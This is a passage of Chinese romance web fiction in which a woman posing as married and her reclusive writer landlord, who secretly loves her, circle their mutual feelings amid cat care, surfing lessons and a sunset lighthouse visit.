“好,谢谢。” 穿过大厅,韩暑老远就听到了大咪的叫声,脚下步子不觉加快。本来三天前就该出院的,可她胳膊上的水泡还没下去,不方便来。这样算来,已经一周没见到猫猫了。 “大咪都好吧?” “都好。”前台笑,“伤口恢复的很好,这几天都和两小只在一起。” “那就好。” 拐了个弯,医生办公室就在前面。 韩暑回头想看闻知屿有没有跟上,后者刚举起手机,冲她比了个接电话的手势后转身就要走。 “哎航空箱!” 闻知屿将话筒移开,“马上回来。” “哦。”韩暑悻悻地收回视线。 “喵!”大咪突然大声叫了起来。 韩暑倏然回神,快步冲了进去,发出一声惊天动地的呼唤,“大咪!” 走廊尽头,闻知屿动动耳朵,旋即轻笑了一声。 听筒传来秦建翎愤怒的咆哮,“笑什么笑?我是认真的!” 闻知屿将航空箱放在前台旁的地板上,这才出了店门。晴好天,空气湿热又滚烫,他将手抵住额头遮阳依旧无法阻挡紫外线,黑眸半眯,“我知道,但是不需要。” “什么叫不需要!”秦建翎怒吼,“你喜欢上有夫之妇,还住在一起,万一擦出点什么电花火花呢?万一出点什么意外呢?万一人家丈夫找上门呢?这事要是曝光,唾沫星子都能把你淹死!” 闻知屿微叹,“你放心,不会出现你担心的情况。” “你知道?”秦建翎阴阳怪气,“那闻老师给咱说说到底知道什么?” “我绝不会做出插足别人家庭的事。” “你拿什么保证?除非你今天就让她搬走,那我信,这事按下不提。否则,你现在必须接入线上回忆,统一口径准备公关稿!” ,“除非她主动要求,否则绝不可能。” “你——” ,没必要。” 听筒传来愤怒拍桌的声音,“知屿你喜欢她什么?” 闻知屿缓缓放下手,又缓缓垂下头。台阶缝隙处,一株不知名的小花在炙烤下蔫头蔫脑地弯着腰,素白的花瓣蜷曲,一副可怜兮兮的模样。他向下一步,阴影便笼了上去,留下方寸之问的凉爽。 道,“我不知道。” “圈内圈外多少优秀女性倾慕你的才华,二月份青年作家论坛遇到的肖娅编辑还记得吗?她三番五次托我私下约你出来。肖编名校毕业人漂亮,听说父母都是高校老师,论职业还算半个同行,怎么就比不上一位已婚女了?” “为什么要比?又由谁来评判?”闻知屿蹙眉,语气倏冷,“退一万步,优秀与否只论个人。无关已婚未婚的身份,无关长相,更无关父母。她是一个坚韧勇敢的姑娘,这一点已经足够和优秀这一评价匹配。” “抱歉,我失言了。”秦建翎哑声,“但是知屿,喜欢上有家庭的人,是注定没有结果的。” “我没想过什么结果。喜欢是我一个人的事,她不会知道的。” “喜欢是藏不住的。” “那就努力不让她发觉。” “没结果的事还有必要坚持吗?让她尽早离开,对你对她都好。” 闻知屿用力摇头,“不。” 秦建翎气急,“你这是自虐!” “我愿意就好了。默默喜欢,有错吗?” “那如果有一天你不满足于默默喜欢,而是奢求回应呢?” 闻知屿坚定道:“我不会。” 秦建翎冷嗤,“嘴上说。” “建翎。”闻知屿加重语气,“世界上谁都有可能插足他人家庭,我绝对不可能。” “你拿什么保证?” “拿我的写作生涯保证。如果我侥幸能完成那本现实题材的小说,你会知道原因的。”闻知屿喉结滚动,垂在身侧的手微微颤抖,“她是我遇到的唯一一个,能听见我说话的人。我只是想再偷一些时问,只是时问……不行吗?” 感受到他的坚决,秦建翎好半天才找回声音,“知屿,如果有一天她要走了,你能接受的了吗?” “吱呀!” 身后玻璃门响了,紧接着是女孩刻意压低的嗓音。 “闻知屿?” 闻知屿喉结滚动,“挂了。” 手机连同还有些发颤的手一并揣回口袋,回身的瞬问,眼底翻滚的情绪一并压回名为淡漠的躯壳里。 韩暑扒着门把手,探出一颗蓬松的蘑菇脑袋,“可以走了,走吗?” 闻知屿点点头,步入室内,提起装了三只猫后蛮有分量的航空箱,“走吧。” 回程,依旧是一路沉默。 韩暑几次想提起话头,碰上男人紧绷到有些凌厉的侧颜,只得默默吞了回去。 停好车,又是闻知屿提着航空箱大步流星地走。 韩暑跟在后头,絮絮叨叨地解释:“放客房卫生问就行,猫砂猫砂盆猫粮我都下单了,一切生活起居我都会负责,我也会尽快找领养的。” “退了吧。”闻知屿换好鞋,边往里走边道。 韩暑急了,都顾不得解开凉鞋上的绑带,踩住脚后跟强行脱掉,趿着拖鞋追上,“如果你不愿意的话养在车库里也可以的,我一定保证卫生!” 客房在左手边,闻知屿提着航空箱,却像右边的走廊走去。 韩暑疑惑,“你去哪?” “跟上。”闻知屿淡声道。 走到倒数第二问房,他用力推开门,将猫放下,二话不说走了。 擦肩而过的瞬问,韩暑终于看清了屋内的景象。 三个大小形状高度不同的实木猫爬架占据了三个墙角,最后的墙角放了一大一小两个带顶的猫砂盆。窗边,三只猫碗一次排列,旁边还摆了一个猫猫跑步机。除此之外,冰丝猫窝、猫抓板、猫玩具应有尽有。 不知何时,这里改造成了一问猫屋。 韩暑顾不得放猫咪自由,狂奔着去追那抹背影。 她拉住男人的手腕,终于强行制止了他的脚步,“这些,都是你准备的吗?为什么?” 闻知屿侧身,垂着眼皮,视线低垂。 韩暑顺着看,才意识到自己竟然追到了楼梯的三分之一处。这里已是禁止住客踏足的区域。她慌忙松手,倒退着下了楼梯,然后仰起头,“我想和你聊聊。” “聊什么?” “聊一下长租的事情。” 闻知屿站姿未变,但不知是不是韩暑的错觉,他似乎瞬问紧绷了起来,连懒散敲击扶手的动作都透露着警惕。 韩暑等了片刻也没等到回答,再也按耐不住问道:“你这几天怎么了?” “没什么。”闻知屿道,“改天聊吧。” “你这会没空的话,中午吃饭时问?” “我今天不吃了。” “为什么?” “不想吃。” 此刻再察觉不出他的针对性,韩暑就不能用钝感来形容了。那得是愚蠢。 莫名其妙!她气呼呼地拧眉,“你对我有什么不满可以直说。” 闻知屿愣怔,旋即淡笑,“没有,我只是需要一些时问。” 他转身向韩暑无法踏足的二楼走去,看似步履稳健,实则落荒而逃。 第33章 第33章【VIP】 戒浪。 韩暑坐在吧台边,撑着下巴,盯着手里的祛疤痕胶愣神。 这是昨晚在门口发现的,不用想都知道是谁的手笔。然而当事人对此一字不提,今天送她来后海之后,还一反常态地回家去了,说下午再来接她。 “好几天没见你,去哪玩了?” 韩暑回神,淡笑解释,“胳膊烫伤,休息了几天。” 小宇拉了把高脚椅坐定,关切道;“怎么回事?” 韩暑晃了晃胳膊,“去餐厅吃饭,我一起身撞上正给隔壁桌上菜的服务员,然后就……” “嘶,这么大一片。”小宇夸张地皱了脸,“疼坏了吧?这餐厅必须赔偿。” “赔了,然后三天两头打电话慰问我,还想要地址给我寄一些补品,怪不好意思的。” “做好防晒,小心留疤。”小宇指了下外面正红的日头,“有防晒衣吗?一会去拍照穿上。” “有,带了。”韩暑拍拍旁边的单肩包,“再说留疤就留疤,无所谓。” “可别无所谓,琼岛第四医院知道吗?那家治疗烫伤还挺厉害,有一个自制的祛疤痕胶,名字我忘了。前年我妈做饭被油烫了手,抹了一个月基本就能恢复。你空了可以去挂个号……一早就去啊!人多!” 韩暑缓慢地举起手,亮出掌心的药膏,表情有些僵硬,“你说的,难道是这个?” 小宇凑近一看,频频点头,“就是就是,你都买到啦?” 韩暑一点点攥回掌心,“别人给的。” “那还真是上心了,不是半夜起来挂号,就是一大早六七点去排队。”小宇仰头,将剩下半杯冰镇可乐一饮而尽,“学员到齐了,我去讲基础知识,等会下海你再来。做好防晒啊!” “知道。”韩暑失笑。 小宇小跑过去,招呼着沙发边坐着的姑娘和站在门口的男生,带着他们去更衣室换衣服去了。 韩暑多看了几眼。没别的原因,男帅女美白的发光……不过还是闻知屿更白一点。 人们研究了许多种防紫外线的方式,防晒霜太阳伞防晒衣,化学物理防晒应有尽有。而对于宅男来说,紫外线根本构不成威胁。因为他根本不出门。 可这位不出门的人,为什么一大早跑去医院给他买祛疤痕的药膏呢? 韩暑想不通,更想不通他的态度。 一早上,她的思绪都是混乱且失控的,就连坐在沙滩拍照时,镜头对准了小班课的三名学员都能突然忘记摁快门。 直到那位姑娘拖着冲浪板从海里出来。 “还没下课,怎么上来了?”韩暑缩在伞下问。 姑娘在她旁边坐定,晃了晃右脚,“大拇指指甲盖在板面上磨断了。” 韩暑凑过一看,“嘶!疼不疼?” “有一点。” “还剩——”韩暑掏出手机,“十五分钟下课。店里有碘酒,一会消毒处理一下。” “好,谢谢。” 两人并肩坐,只有偶尔的快门声响起。 其他两个男学员上手速度还不错,尤其是那位白肤帅哥,看身材也是常年健身的选手。 韩暑从取景器寻找最佳角度,脑海里却浮现了闻知屿那几张冲浪的照片。 从微信发给他之后就石沉大海,也没说满意还是不满意。真煞风景。 “听教练说,你在这里做义工哎。”许是实在无聊,女生主动搭话。 快到下课时间,小宇把两人叫到一起似乎在说下节课安排。韩暑合上镜头,翻看今早拍的照片,“嗯,你是过来旅游?” “对,这个季节除了热以外没毛病,海景真的很美。” 照片拍得还不错,韩暑满意地收手,“环岛了吗?” “没有,我一个人来玩所以没租车,去的都是交通相对便利的地方。对了,你去过半岛灯塔吗?” “灯塔?”韩暑摇头。 “据说日落晚霞超美,很多人专程开几十公里过去约会,蛮出名。” 恰好小班课结束,小宇带着两名学员上岸,冲女生挥手,“你的脚怎么样?” 女生起身,“目前还好,等会回去剪完指甲再看看。” “成。”小宇戳了下韩暑的伞沿,“下节课在下午了,咱俩去吃点东西。” “好,吃完换小齐。” 春景和铭哥又不知道去哪野了,走之前交代了小宇代理。加上今天顾客不多,所以这会店里只有他俩和负责吧台的弟弟。 两人去俱乐部后面的酒店吃自助餐,才吃了两口,小么了?” “嗯?”韩暑回神,,用叉子扎了颗大蒜。 小宇嗦了一大口粉,的,有事?” ,咬了一小口蛋挞,慢吞吞地咽下。 “就看你吃饭的消极态度,心里绝对有事。” 韩暑瞥了眼小宇黝黑阳光的面容。她实在是不懂男人,但小宇就是男人,或许他能弄明白? 小宇大咧咧道:“说吧,还欲言又止的。” 韩暑支支吾吾道:“你说一个人,忽然对另一个人很冷漠……不对,只是态度很冷漠,但还是很关心对方,默默做了很多事情。为什么?” 小宇转转脖子,表情看起来很为难,“你这说得太泛了,男的女的,什么关系?” “男的,朋友。” “男的朋友?” 韩暑急忙补充,“普通朋友。” 小宇道:“展开讲讲,前后到底有什么变化。” “之前,我俩经常一块玩,成天缠着我贿赂我让我陪他,恨不得晚上不睡觉一块玩那种。但现在,他好像故意躲着我,好几天不见人,我主动提出一起玩他也不乐意,说话态度也冷冷淡淡的,像是陌生人。” 说到这,韩暑不知怎的胸口揪着难受,脑袋也闷闷的。 小宇端起碗一口气喝到底,抽了张纸巾擦擦嘴,又问:“你说默默关心你,怎么个关心法?” “比如……他不喜欢猫,但因为我救治了流浪猫,专门准备了间猫屋。又比如……刚才那个祛疤痕的药膏,就是他给我的。”韩暑放下筷子,“你说,他是对我有意见吗?” 小宇摆摆手,“当然不是,有意见关心你干嘛?闲得慌?” “那是怎么回事?” 小宇捏着下巴思忖片刻,“他是I人吗?” 怎么就跳到MBTI来了?韩暑晕了,“没问过,但应该是——吧?” “那不就完了。”小宇两手一拍,“他大概率是对自已有意见,心情不佳,需要独自一人默默消化。” 韩暑怎么想都觉得基于MBTI的分析不靠谱,“对自已有意见?” “昂,内耗呗!I人通病。” 韩暑仔细回忆,“但他内耗什么呢?之前也没发生什么事啊?” “那就不知道了。”小宇耸肩,掏出手机玩了起来。 内耗。 韩暑加快吃饭速度,一并加快大脑运转的速度。 心情不佳……内耗……约会……烫伤膏——等等,约会! 灯塔! 当忙完所有工作后,支着下巴兴致缺缺的韩暑从敞开的木窗望见缓缓停下的小蓝,呆滞无神的双目瞬间放光。她蹦下高脚椅,提起包就往外跑。 小宇打招呼,“走啦?” “拜拜!”韩暑头都不回,边跑边摆手。 闻知屿刚下车,车门还未合,便听到一声雀跃的“闻知屿”,紧接着一个跳动活泼的蘑菇脑袋撞进了他幽深的眼底。女孩拎着一只浅蓝色的小包,没过膝盖的白色裙摆随奔跑轻扬,和她唇边的笑意一并勾勒出最美的弧线。 韩暑在他面前站定,微喘,“闻知屿,这会没什么事吧?” 闻知屿还未来得及收回直勾勾的眼神,整个人像一块板砖一样僵硬,“没有。” 韩暑面上一喜,蹦蹦跳跳绕到副驾驶,“那太好了,出发出发,咱们去看灯塔。” “灯塔?”闻知屿听到了自已语气中的迟疑,有点气自已,紧接着裤兜里修剪得短且整洁的指甲陷入了掌心。 “嗯,我导航。上车!” 三十公里,二十分钟左右。 韩暑乐呵呵地抱着手机,不知道在看什么。闻知屿无数次借看右后视镜的机会,将那秀丽的侧影框进他的视网膜,输入存档,又在目视前方时在大脑中反复回放。 她今天很开心,所以他也开心。 但他不知道她为什么开心……又有点不开心。 闻知屿拧巴着开心,又拧巴着难*受。 这些天他躲着,就是不知道自已该用什么样的态度面对她。之前不做他想,现在思绪万千,结局便是束手束脚。 按照导航提示,闻知屿正要左拐,被韩暑握住手肘。 “直走,前面路边可以停车。”她很快松开,伸手一指,“灯塔在那,看到没?” 闻知屿嗯了一声,卷起的衬衫袖口下,是经久不散的酥麻。 停好车,韩暑急火火地蹦了下来,又急火火地拉他的衣袖,“太阳已经落下去了,快点快点!” 闻知屿躲开,不自然地清清嗓子,最终在她三番五次的眼神催促中大步跟上。 当红日坠入蓝海,西边漫天皆是燃烧着粉紫色光辉的云霞。朝东看,夕阳映照下,海水和天空一并呈现出一种掺了灰调的蓝,白红色灯塔矗立其间。 韩暑忽而停下脚步。 距离堤坝还有几十米的距离。 闻知屿紧跟着,在侧后方驻足,“不上去吗?” 韩暑盈盈一笑,“在这看才是最美的。” 闻知屿望着那抹纤细玲珑的身影,发自内心道:“嗯,最美的。” 在白天黑夜相交界的蓝调时刻,韩暑回过身来,“之前来过吗?” “没有。”闻知屿有些不敢看她,垂下了眼皮。 “那你知道很多人会来这里许愿吗?” “不知道。” 韩暑双手背后,“现在不就知道了?来都来了,你许一个。” “……”闻知屿有点想笑,强行压住了嘴角。 早就猜到他会是这副死样子,韩暑依旧恨铁不成钢,“你不许拉倒,我许!” 她侧着脸斜眼瞄他,一脸嫌弃,但语调格外认真。 闻知屿先是听到她说:“那我就许一个……希望闻老师现在担心纠结的事情能够迎刃而解。” 紧接着,擂鼓一般的心跳声压过浪涛阵阵,压过海风徐徐,甚至压过他早已超载的思绪。 闻知屿鼓起勇气,望进那双水波粼粼的杏眸。他从不信求神拜佛,更不信许愿。 但这一刻,他希望成真,即使愿望是难以启齿的,是卑劣不堪的。 他在心里,默默许下愿望,又装作重复将其宣之于口,喑哑道:“迎刃而解。” 韩暑用力点头,“迎刃而解。” 第34章 第34章【VIP】 闻知屿的态度有一丢丢的好转,甚至第二天在韩暑的坚持下,两人还玩了个小游戏。 “上下左右上!” 闻知屿向右偏头。 失败,换人。 “上下左右左!” 韩暑向右偏头。 失败,再换人。 “上下左右左!” 闻知屿向左偏头。 韩暑吧嗒用棍子顶端的小手掌扇了闻知屿一下,力度刚好,懵逼不伤脑。但她还是有点不好意思,咬唇,“不疼吧?” 闻知屿揉揉脸,饶有兴趣地咂舌,“继续。” “上下左右右!” 闻知屿向上抬头。 韩暑自觉将棍子递给他。 “上下左右左!” 韩暑向左转头。 她立刻挤住眼睛,做好挨打准备。然而,棍子顶端只是轻轻戳了一下脸颊。 “继续。”闻知屿道。 “等会。”韩暑寻思这怎么个事啊,直起腰杆,“不能放水,该打就要打。” “好。” 游戏重新开始。 “上下左右上!” 韩暑向上抬头。 脸颊又是轻戳。 她横眉冷对,“喂,再这样我就不玩了!” 闻知屿摸了摸小手掌,感觉硬邦邦的,于是没吭气。 两人盘着腿,对坐在地毯上。韩暑在他眼前一挥手,“听见了没?” “听见了。”闻知屿眉宇间浮现一抹无奈。 韩暑手握拳,威胁似的,“再有一次我就不玩了啊!你这样我胜之不武,一会都不好意思打你了。” “……知道了。” 如果时间可以倒流,韩暑一定不会放胜之不武这样的P话。 因为她紧接着就连输了十几次。 “上下左右右!” “啪!” “上下左右上!””啪!“ “上下左右上!” “啪!” “上下左右——”闻知屿放下棍子,“换人吧,我打累了。” 韩暑:…… 伤害性不大但侮辱性极强。 “不。”韩暑胜负欲被激活,双手攥拳气鼓鼓,“再来!” 闻知屿欲言又止,见她神色坚定的像是要上战场,只得作罢。 还好,韩暑克服了魔咒,凭实力夺回小棍。 她摩拳擦掌,“来!” 闻知屿不觉勾唇,“加油。” 韩暑提了起右上嘴唇,作出一个恶狠狠的表情。 时来运转,第一把就抓到了。 她露出邪恶的笑容,手腕一勾,小棍一挥—— 闻知屿垂着眼皮,似乎因为坐姿不太舒服,恰好往左挪了挪。 “啪!!!” 一声惊天巨响之后,闻知屿的左脸肉眼可见的红了一大片。 “对不起对不起对不起……”韩暑脸都吓白了,从盘腿坐转为跪姿,凑近一看,下颌角还有一道不明显的破皮。 “没事。”闻知屿晃晃头,下一秒,颊侧一阵温软来袭。 他像触电一般用力拍开韩暑的手,迅速起身,一连退了好几步。 韩暑原本是下意识的动作,想看看破皮的伤口深不深,反倒被这夸张的动作吓一跳。 她尴尬地放下手,“我就是想看一下需不需要抹药。” 闻知屿神色森然,半敛的黑眸里冷光刺目。 韩暑赶紧起身,想做错事的孩子嗫嚅,“对不起,我不是故意的。” 闻知屿喉结滚动了好几个来回,见她小心翼翼的模样,在心里骂了自己千遍万遍,竭力放缓语气,“我知道,没怪你。” “要不、我给你抹点药吧?”韩暑手指蜷曲,一下下揪着裤兜的边沿,“有一处破皮。” “不用。”闻知屿不再看她,“我先上楼,早点休息。” “哎——”韩暑试图去拦,男人闪身避开,三两步,身影便消失在了楼梯拐角处。 韩暑有点懵了。 事情是从哪里开始不对的?似乎是从她碰了下他的脸开始。 闻知屿好像变得极其反感肢体接触。 之前他也干出过背个登山包骑摩托这种事,但更多是孩子气的证明。现在不太一样,似乎是发自内心的排斥。 当晚,韩暑故意磨叽到闻知屿下楼吃饭的时候去洗碗。原本是想直接问的,可面对那张冷淡的脸,便一句话都说不出口了。 能怎么问呢?顶着已婚女性的身份,避嫌又有什么不正常呢? ……可她为什么心里这么不舒服呢? 当闻知屿默默将碗碟放进水池,洗完碗正在擦手的韩暑突然被一股冲动裹挟。她假装不经意地转过身,又假装不经意地撞了上去—— 闻知以一个夸张刻意的姿势躲开了。 ,有些尴尬,“你先,我等会洗。” “不用。”韩暑心凉了,语气不受控制地夹枪带棒,“我给你腾地方。” 当晚, 她抱着被子坐翻右翻,手机拿起放下,感觉抓心挠肺的难受,可又说不上来缘由。她能察觉到自己心里窝火,却不知道火从何来,更不知道怎么能让自己平静。 第二天,几乎大早,早饭没吃,甚至不等闻知屿起床,自己打车去了后海。 原以为要等一阵,不想戒浪已经开门了,门槛上坐着许久不见的春景和铭哥。两人都是休闲牛仔裤和白色上衣的打扮,依偎在一起看清晨时分的海,悠闲又登对。 韩暑默默看了好一会,心间愈发酸胀。 “小暑?”春景看到她后立刻站了起来,“今天怎么来这么早?” 韩暑压下情绪,露出和平时一般无二的笑容,“醒得早,闲着也是闲着,过来看看有什么需要帮忙的地方。” “太好了,我正发愁呢!”春景拉着她进店,递来一张排课的清单,“昨天十点的小班课提前到七点,你要是不来,就得铭哥旷约去拍呢。” “七点?这么早?”韩暑讶异。 “昂,三个学员说好的,小宇已经在后院的泳池准备了。” “那刚好,一会我跟。” 春景绕至吧台,磨咖啡豆的声音即刻响起,不多时,一杯热气腾腾的拿铁出现在韩暑面前。 春景双手合十,“加班费。” 韩暑轻抿一口,感觉尸斑都淡了,于是做了个举杯的动作,“谢谢。” 早上这会没客人,店里也清闲,韩暑便坐在后院看他们练划水和转向,顺便偷偷复习。毕竟她已经十来天没上课了,再不复习怕是要忘光。 小宇蹲在泳池边指点江山。 “小夏,双臂用力!你这样在海里划都划不动!” “哎,小时!坐板的时候再往后点!” “小陈,学一下小时的划水动作!” 韩暑躲在一颗巨大的热植后偷笑。 难怪他叫小宇,叫谁都得加个小字。 动作学的差不多,小宇和韩暑打了个招呼让帮忙看着,便去准备冲浪板了。 教练一走,三人不约而同松了口气。 韩暑坐的地方隐蔽,也不出声,饶有兴味的看了起来。 没一会,昨天令人沉默寡言的帅哥小时划到唯一的女生小夏旁边,竟然主动聊了起来。 韩暑的第六感,动了。 往沙滩走要自己拖着板,而学员的板为了能够更稳,相对较大较重。女生吃力地在前面走,男生悄没声跟上,一手拎着自己的板,一手悄悄抓住小夏的板尾分摊了部分重力。 不仅如此,今天风大浪大,进浪区需要扶着板和白花浪撞击,跨越超大阻力进入相对平缓的待浪区。小时明明能轻而易举地跨越,却在看到小夏的板被浪掀翻后倒退了回来,相隔两米左右默默等待。 韩暑站在上帝视角将一切尽收眼底,觉得有点甜,与此同时心里发堵。 怎么回事? 她晃晃脑袋,抛除繁杂的思绪,强迫自己专心干活。 然而没过半小时,小宇推着小夏上岸了。后者脸色发白,手还有些颤抖。 “怎么了?”韩暑站起来。 “怕水,深海恐惧。”小宇道,“你照顾着点,我先给他俩上课。” “行。” 韩暑将她搀扶着坐下,安抚了好一会,人才缓过劲来。 小夏自嘲地笑了笑,“一会就去退课,第三节课上不了了。” 韩暑安慰道:“怕水是人之常情,慢慢克服。” “克服不了一点。”小夏向后躺在冲浪板上,枕着双臂悠闲晃脚,和方才判若两人,“这项运动我真做不了,放弃放弃。” “距离学会抓浪就差一步,现在放弃不可惜吗?” “不会啊。”小夏坦然,“走过的路每一步都算数。虽然只走了八十步,那也是八十步。尝试过了,就没什么可惜的。” 韩暑心念一动,悬浮不定的心忽然结结实实的落下了。 自辞职以来,她一直强迫自己不去想不能后悔,实则被放弃后的愧疚自责裹挟。 即使是不喜欢的专业不喜欢的工作,也承载了她过去将近十年的时光。在她的潜意识里,辞职等于将过往的努力付之一炬,真应了那句食之无味弃之可惜。而小夏的话,突然打破了她固有的壁垒,提供了一种全新的思维。 九点多,韩暑收到了闻知屿的微信。 【。:去哪了?】 韩暑气呼呼撇嘴,狠狠将手机丢回口袋。 不想搭理! 然而不过半分钟,她掏出来,用力敲击键盘。 【无敌强壮卷心菜:俱乐部,今天店里很忙,晚上不回去了。】 手机又丢回口袋。 又过了半分钟,她又掏出来。没有新消息。 手机再次丢回口袋。 再过了半分钟,她再掏出来。还是没有新消息。 烦死了!!! 原本为自己扑朔迷离的未来而发愁,此刻,对闻知屿的愤怒压倒性地战胜。她窝了一整晚无名火,可没眼色如闻知屿,一直到第二天早上都没回复。 韩暑顶着硕大的黑眼圈继续工作,把快门当砍刀摁得咔咔响,在心里把闻知屿剁成了肉泥。 烦死了!!! 先跟拍了一组一对一教学,紧接着跟拍只剩下两名学员的小班课,女生确实退课了。 忙到中午,韩暑将相机放回店里,正准备穿过后院去吃饭,便看到小时在飞速冲沙,动作快得要把皮肤搓出火星子了,神色也很焦急。紧接着,他关掉水管,提起东西就跑,不顾身上的湿漉,任由发丝上的水珠滴滴答答在身后落下。 有点反常,韩暑边往过走边多看了几眼。恰好看到侧门外整排椰树下,小夏站在路边来回踱步,脚边立着一只行李箱,臂弯抱着一只插了吸管的椰子。 艳阳高照的海边,满头大汗的少年顶着阳光向女孩飞奔。 这一瞬间,青春的热烈扑面而来。 这一瞬间,韩暑在男生身上看到了自己。 也是这一瞬间,韩暑陡然意识到了最近持续失眠的根源。 焦灼等待的消息,不由自主的关心,为一举一动牵制的情绪,还有……向他跑去的欣喜雀跃。 ——她好像喜欢上她的房东了。 韩暑茫然地立在原地,一股陌生的感情排山倒海而来。 她好像有点喜欢闻知屿。 不对,她好像很喜欢闻知屿。 第35章 第35章【VIP】 韩暑连饭都顾不得吃,找了个植物茂密的角落,着急忙慌拨通了凌琳的电话。 工作日,午休时间,忙音响了好一会,对面才接起。 凌琳压着嗓音,咬字还蕴着睡意,“正睡着呢,怎么啦?” “急急急急急!”韩暑原地转圈,“特别急!!!” 那头传来防火门开关的吱呀声,听筒那头的人似乎清明了,也急火火道:“快说吧!” “你千万不要惊讶。” “别卖关子,快说。” 韩暑深深深深吸气,“我喜欢上了一个人。” 凌琳沉默三秒,爆发出惊天怒吼,“我就说长租会出问题的吧!!!” “……”韩暑语塞,“怎么办?” 凌琳想了想,“有多喜欢?” 韩暑扭捏道:“这怎么形容……” “是想和他有未来的喜欢,还是想睡的那种喜欢?” 韩暑脸颊爆红,“喂!说什么呢!我、我还没想好要不要追呢!” 和母胎solo聊感情,凌琳发自内心地叹气,“你是不是忘了一件事。” “什么?” “你的人设。” 韩暑:!!! 晴天霹雳不过如此。 她在闻知屿那是已婚已育的人设。非单身,追人,搁谁不被吓死……. “你考虑考虑,要不要坦白。” 韩暑嗖地蹲下,陷入抑郁,“如果我坦白,他发现我骗了他那么久,发现我是一个满嘴胡言满口谎话的人,怎么可能会喜欢我……” “嗯哼。”凌琳赞同,“如果你不坦白,他认为你不是单身——” “也不会喜欢我。”韩暑崩溃了。 小学暗恋前桌、初中暗恋同桌不算,她还没正儿八经地喜欢过谁。第一次,就陷入了无解之局。 韩暑想掐死自己。 “早知道就不撒谎了…….” “不撒谎,你怎么认识他呢?” “……” 又是死局。 “这是不是说明,注定要失败。”韩暑蔫蔫巴巴地问,“那我是不是应该今天就搬走呀?” “搬走?开什么玩笑!”凌琳恨铁不成钢,“喜欢都喜欢了,怎们能不试一试?万一呢?” 一夜不回的消息,排斥的态度……韩暑的心拔凉拔凉,“没有万一,我没戏了。” “哎!咱怎么说也是美女一枚,985毕业的优秀青年,天天在他眼皮子底下晃。除非他不是单身,否则怎么会不动心思?” “他和你的前男友们不一样。”韩暑哭丧着脸,“他是个神金哇!!!你说我是木头,他就是木头中的木头!” 凌琳陷入沉思,“也是,大半夜玩跳跳杆,成天拉着你玩小游戏,这样的人哪里会有世俗的愿望呢?” 韩暑:…… 彻骨绝望。 昨天之前,她还坚定地相信小宇的话。闻知屿不是针对她,毕竟药膏和猫屋不会说谎。 可这些再怎么夸大也只能算作朋友之间的友好,肢体本能的躲避,才是内心真实想法的投射。 韩暑失去了所有力气,一屁股坐地下了。 “以不变应万变,先稳住,观察,再制定战略。”凌琳大胆畅想,“万一他其实也喜欢你,只是碍于你已婚已育隐忍不发呢?” “……别编不可能的事安慰我。” 凌琳也觉得心虚,讪笑了两声,“反正现在什么都说不准,你别还没上战场就投降。” 投降。 韩暑真的想投降,恨不得从白裙子下摆撕一块下来举双手加白旗投降。 “小暑?” 是春景。 韩暑绕过植被,“这呢!” 春景失笑,“怎么在这猫着呢?门口,有人找。” 韩暑脑袋发钝,茫然眨眼,“谁会找我?” 春景比她高半头,轻而易举地搂着她的肩,“你说呢?还能有谁?” 从后院抄近道回到店里,视野豁然开朗。石阶下的男人身长玉立,视线跨过店里来往的游客,精准地定位到她。 对上眼,韩暑有些迈不开腿了。 她紧张,比宣讲前发现主题和领导通知的主题有出入、即将临场发挥还紧张。 “去吧。”春景催促,“等了你好一会,实在等不住才拜托我的。” 韩暑说不出话,只得冲她尴尬地笑了下。 一步,两步。 韩暑数着步子,慢吞吞地往门口蠕动。 闻知屿看在眼里,心一下一下地坠着疼。 本该是他调整解决的事情,对她造成了困扰。 昨天,当他发现韩暑一声不吭地离开,那一刻的惊惧和失落压倒性地战胜了地心引力。从楼梯口走到门口短短十几米的距离,像踩在棉花上一样步履艰难,也像踩在刀尖上一样提心吊胆。 当看柜第一层,心才终于放到肚子里。取而代之的,是想要见到她尽数坦白的冲动。这息后达到顶峰,在坐进驾驶座、手放在档位上时靠所剩无。 如果感情对对方和对方的家庭造成困扰,便是不道德的行为。 闻知屿一天一夜没合眼,最终为情感妥协。饮鸩止渴又如何?现在止渴就好了。他不再去想根本不存在的未来,只想抓住眼下,抓住有她在身边的每一分每一秒。 ——以朋友的身份,抓住每一分每一秒。 “我——” “我……” ,又同时闭嘴。 等了少顷,闻知屿还是没说话。韩暑揪着裙子的口袋,唇周已然脱离大脑控制,“我、我没吃午饭。” 待话说出口,理智才尬两颊胀红。 救命!这和张口讨饭有什么区别! 闻知屿都做好了被批斗并认真道歉的准备,闻言也是一怔,“我也没吃。” 韩暑赶紧着补,“那我请你吃饭,去一家好吃的餐厅。” 闻知屿想说他请,又怕惹她不快,于是乖巧点头。 住在问题先生民宿的日子里,韩暑和闻知屿一起吃了数不清多少顿饭。起初是剑拔弩张,后来勉强算和谐,再到后来其乐融融放松自在。 唯独,没有如此客气过。 韩暑麻溜地倒上凉茶,双手捧茶杯奉上,“请喝请喝。” 闻知屿欠身接过,“谢谢。” 闻知屿擦净手,剥掉大半盘虾,“你吃。” 韩暑就差站起来鞠一躬,“谢谢谢谢。” 两人在沉默中暴风吸入美食,都觉得哪里不太对劲。 韩暑:她不是在生闻知屿的气吗?怎么、怎么这会一点都气不起来,反倒紧张到腿脚发麻呢! 闻知屿:他昨天做错事惹她生气了,已经生气到要做陌生人了。这是在划清界限吧……难受! 韩暑借倒凉茶的机会,鬼鬼祟祟地转动眼珠。 ——就瞥一下。 闻知屿借她倒凉茶的机会,偷偷摸摸地掀起眼皮。 ——就看一眼。 视线于无声中相遇,却造成了哥斯拉和金刚相撞的毁灭性后果。 韩暑手一抖,凉茶越过杯口,洒了半桌。 闻知屿着急起身,却忘了身处小馆子而不是高级餐厅,大腿撞击桌沿,桌子移动发出刺耳的声响,而刚刚还在晃动的凉茶壶应声倾倒。 眼看半桌即将蔓延成整桌外加地板,两只手同时伸向茶壶,却在上方五厘米相触。 韩暑嗖地拔回手,背至身后,因为窘迫整个脑袋都在燃烧。 她她她碰到他的手了哎!闻知屿的手!!! 她全然忘记了自己还搂过他的腰,抓过他的手臂和胸肌,甚至还曾被他拢进怀里。只是手指关节的蜻蜓点水而已,为什么她这么尴尬这么不好意思! 闻知屿僵了下,这才将茶壶扶起。 恰好服务生赶了过来,他低声说“抱歉”,然后抽了几张纸巾递给韩暑,“擦擦手吧。” 韩暑小心地捏住纸巾角,“谢谢。” 收拾的功夫,两人腾出位置,并肩站在过道。 餐厅内其他桌都是其乐融融欢声笑语,他们却像是两个雕塑,格格不入。 韩暑认为得说点什么。 说什么才自然,且不被闻知屿察觉端倪? 闻知屿也想说点什么。 